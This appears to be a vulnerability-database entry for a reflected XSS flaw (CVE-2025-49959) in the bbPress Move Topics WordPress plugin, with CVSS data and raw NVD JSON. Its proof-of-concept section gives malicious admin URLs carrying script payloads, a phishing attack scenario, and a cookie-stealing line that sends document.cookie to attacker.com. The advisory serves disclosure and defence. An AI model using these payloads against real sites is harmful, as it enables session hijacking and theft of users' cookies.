CVE-2025-49959

Description

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Pascal Casier bbPress Move Topics bbp-move-topics allows Reflected XSS.This issue affects bbPress Move Topics: from n/a through <= 1.1.6.

CVSS Details

CVSS Score

7.1

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

bbPress Move Topics (bbp-move-topics) <= 1.1.6

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- CVE-2025-49959 Reflected XSS PoC -->
<!-- Target: WordPress site with bbPress Move Topics plugin <= 1.1.6 -->
<!-- This PoC demonstrates the XSS vulnerability via URL parameter injection -->

<!DOCTYPE html>
<html>
<head>
    <title>CVE-2025-49959 PoC - bbPress Move Topics Reflected XSS</title>
    <style>
        body { font-family: Arial, sans-serif; margin: 40px; }
        .poc-box { background: #f5f5f5; padding: 20px; border-radius: 5px; }
        .malicious-link { word-break: break-all; background: #ffe6e6; padding: 10px; }
    </style>
</head>
<body>
    <h1>CVE-2025-49959 PoC</h1>
    <p><strong>Target:</strong> bbPress Move Topics Plugin <= 1.1.6</p>
    <p><strong>Vulnerability:</strong> Reflected Cross-Site Scripting (XSS)</p>
    
    <div class="poc-box">
        <h3>Malicious Link:</h3>
        <div class="malicious-link">
            http://[TARGET-WORDPRESS-URL]/wp-admin/admin.php?page=bbp-move-topics&search_term=<script>alert('XSS-VULNERABILITY-TEST')</script>
        </div>
        <p>Or alternative payload:</p>
        <div class="malicious-link">
            http://[TARGET-WORDPRESS-URL]/wp-admin/admin.php?page=bbp-move-topics&topic_id=<img src=x onerror=alert(document.cookie)>
        </div>
    </div>
    
    <h3>Attack Scenario:</h3>
    <ol>
        <li>Attacker crafts a malicious URL containing XSS payload</li>
        <li>Attacker tricks WordPress user into clicking the link (via phishing email, chat, etc.)</li>
        <li>User clicks the link while authenticated to WordPress</li>
        <li>Malicious script executes in user's browser with current domain privileges</li>
        <li>Attacker can steal session cookies, perform actions on behalf of user</li>
    </ol>
    
    <h3>Cookie Stealing Payload:</h3>
    <div class="malicious-link">
        <script>fetch('https://attacker.com/steal?c='+encodeURIComponent(document.cookie))</script>
    </div>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-49959
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-49959
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-49959/
[4] VulDB https://vuldb.com/cve/CVE-2025-49959
[5] https://patchstack.com/database/Wordpress/Plugin/bbp-move-topics/vulnerability/wordpress-bbpress-move-topics-plugin-1-1-6-cross-site-scripting-xss-vulnerability?_s_id=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-49959", "sourceIdentifier": "[email protected]", "published": "2025-10-22T15:15:42.567", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Pascal Casier bbPress Move Topics bbp-move-topics allows Reflected XSS.This issue affects bbPress Move Topics: from n/a through <= 1.1.6."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/bbp-move-topics/vulnerability/wordpress-bbpress-move-topics-plugin-1-1-6-cross-site-scripting-xss-vulnerability?_s_id=cve", "source": "[email protected]"}]}}